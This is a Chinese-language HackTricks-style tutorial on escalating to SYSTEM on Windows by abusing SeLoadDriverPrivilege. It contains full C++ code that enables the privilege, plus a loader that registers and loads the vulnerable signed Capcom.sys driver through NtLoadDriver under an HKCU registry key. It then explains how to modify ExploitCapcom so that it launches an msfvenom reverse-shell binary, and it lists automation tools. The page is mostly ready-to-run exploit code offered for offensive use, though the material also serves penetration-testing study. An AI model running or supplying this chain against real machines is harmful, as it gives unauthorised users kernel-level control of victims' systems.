9.6 KiB
滥用 SeLoadDriverPrivilege
☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗? 您想看到您的公司在 HackTricks 中被宣传吗? 或者您想访问PEASS 的最新版本或下载 HackTricks 的 PDF吗? 请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方 PEASS & HackTricks 商品
- 加入 💬 Discord 群组](https://discord.gg/hRep4RUj7f) 或 电报群组 或在 Twitter 🐦@carlospolopm** 上关注我**。
- 通过向hacktricks 仓库和hacktricks-cloud 仓库提交 PR 来分享您的黑客技巧。
SeLoadDriverPrivilege
将此特权分配给任何用户都非常危险 - 它允许用户加载内核驱动程序并以内核权限执行代码,也就是 NT\System
。查看 offense\spotless
用户拥有此特权:
Whoami /priv
显示默认情况下该特权已禁用:
然而,下面的代码可以相当容易地启用该特权:
{% code title="privileges.cpp" %}
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
int main()
{
TOKEN_PRIVILEGES tp;
LUID luid;
bool bEnablePrivilege(true);
HANDLE hToken(NULL);
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
L"SeLoadDriverPrivilege", // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %un", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege) {
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %x", GetLastError());
return FALSE;
}
system("cmd");
return 0;
}
{% endcode %}
我们编译上述代码,执行后,权限SeLoadDriverPrivilege
现在已启用:
Capcom.sys 驱动程序漏洞利用
为了进一步证明SeLoadDriverPrivilege
的危险性,让我们利用它来提升权限。
您可以使用NTLoadDriver加载一个新的驱动程序:
NTSTATUS NTLoadDriver(
_In_ PUNICODE_STRING DriverServiceName
);
默认情况下,驱动程序服务名称应位于\Registry\Machine\System\CurrentControlSet\Services\
但是,根据文档,您也可以使用HKEY_CURRENT_USER下的路径,因此您可以在那里修改一个注册表以在系统上加载任意驱动程序。
必须在新注册表中定义的相关参数为:
- ImagePath: REG_EXPAND_SZ 类型值,指定驱动程序路径。在此上下文中,路径应为一个非特权用户具有修改权限的目录。
- Type: REG_WORD 类型值,指示服务类型。对于我们的目的,该值应定义为SERVICE_KERNEL_DRIVER(0x00000001)。
因此,您可以在**\Registry\User\<User-SID>\System\CurrentControlSet\MyService
中创建一个新注册表,在ImagePath中指定驱动程序的路径,在Type**中使用值1,并在利用程序中使用这些值(您可以使用以下方法获取用户SID:Get-ADUser -Identity 'USERNAME' | select SID
或 (New-Object System.Security.Principal.NTAccount("USERNAME")).Translate([System.Security.Principal.SecurityIdentifier]).value
)。
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
第一个声明一个字符串变量,指示受害系统上易受攻击的 Capcom.sys 驱动程序的位置,第二个是一个字符串变量,指示将要使用的服务名称(可以是任何服务)。
请注意,驱动程序必须由 Windows 签名,因此您无法加载任意驱动程序。但是,Capcom.sys 可以被滥用以执行任意代码,并且由 Windows 签名,因此目标是加载此驱动程序并利用它。
加载驱动程序:
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#include <stdlib.h>
#include <locale.h>
#include <iostream>
#include "stdafx.h"
NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);
int main()
{
TOKEN_PRIVILEGES tp;
LUID luid;
bool bEnablePrivilege(true);
HANDLE hToken(NULL);
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
L"SeLoadDriverPrivilege", // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %un", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege) {
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %x", GetLastError());
return FALSE;
}
//system("cmd");
// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
std::cout << "[+] Set Registry Keys" << std::endl;
NTSTATUS st1;
UNICODE_STRING pPath;
UNICODE_STRING pPathReg;
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
HMODULE hObsolete = GetModuleHandleA(NTDLL);
*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");
RtlInitUnicodeString(&pPath, pPathSource);
RtlInitUnicodeString(&pPathReg, pPathSourceReg);
st1 = NtLoadDriver(&pPathReg);
std::cout << "[+] value of st1: " << st1 << "\n";
if (st1 == ERROR_SUCCESS) {
std::cout << "[+] Driver Loaded as Kernel..\n";
std::cout << "[+] Press [ENTER] to unload driver\n";
}
getchar();
st1 = NtUnloadDriver(&pPathReg);
if (st1 == ERROR_SUCCESS) {
std::cout << "[+] Driver unloaded from Kernel..\n";
std::cout << "[+] Press [ENTER] to exit\n";
getchar();
}
return 0;
}
一旦上述代码被编译并执行,我们可以看到我们恶意的Capcom.sys
驱动程序被加载到受害者系统上:
现在是时候滥用加载的驱动程序来执行任意代码了。
您可以从https://github.com/tandasat/ExploitCapcom和https://github.com/zerosum0x0/puppetstrings下载利用程序,并在系统上执行以将我们的权限提升为NT Authority\System
:
无 GUI
如果我们无法访问目标的 GUI,我们将不得不在编译之前修改**ExploitCapcom.cpp
**代码。在这里,我们可以编辑第292行,将C:\\Windows\\system32\\cmd.exe"
替换为,例如,使用msfvenom
创建的反向 shell 二进制文件:c:\ProgramData\revshell.exe
。
// Launches a command shell process
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
&ProcessInfo))
{
return false;
}
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return true;
}
在这个例子中,CommandLine
字符串将被更改为:
代码:c
TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");
自动
您可以使用https://github.com/TarlogicSecurity/EoPLoadDriver/来自动启用特权,创建HKEY_CURRENT_USER下的注册表键,并执行NTLoadDriver指定要创建的注册表键和驱动程序路径:
然后,您需要下载一个Capcom.sys漏洞利用程序,并使用它来提升特权。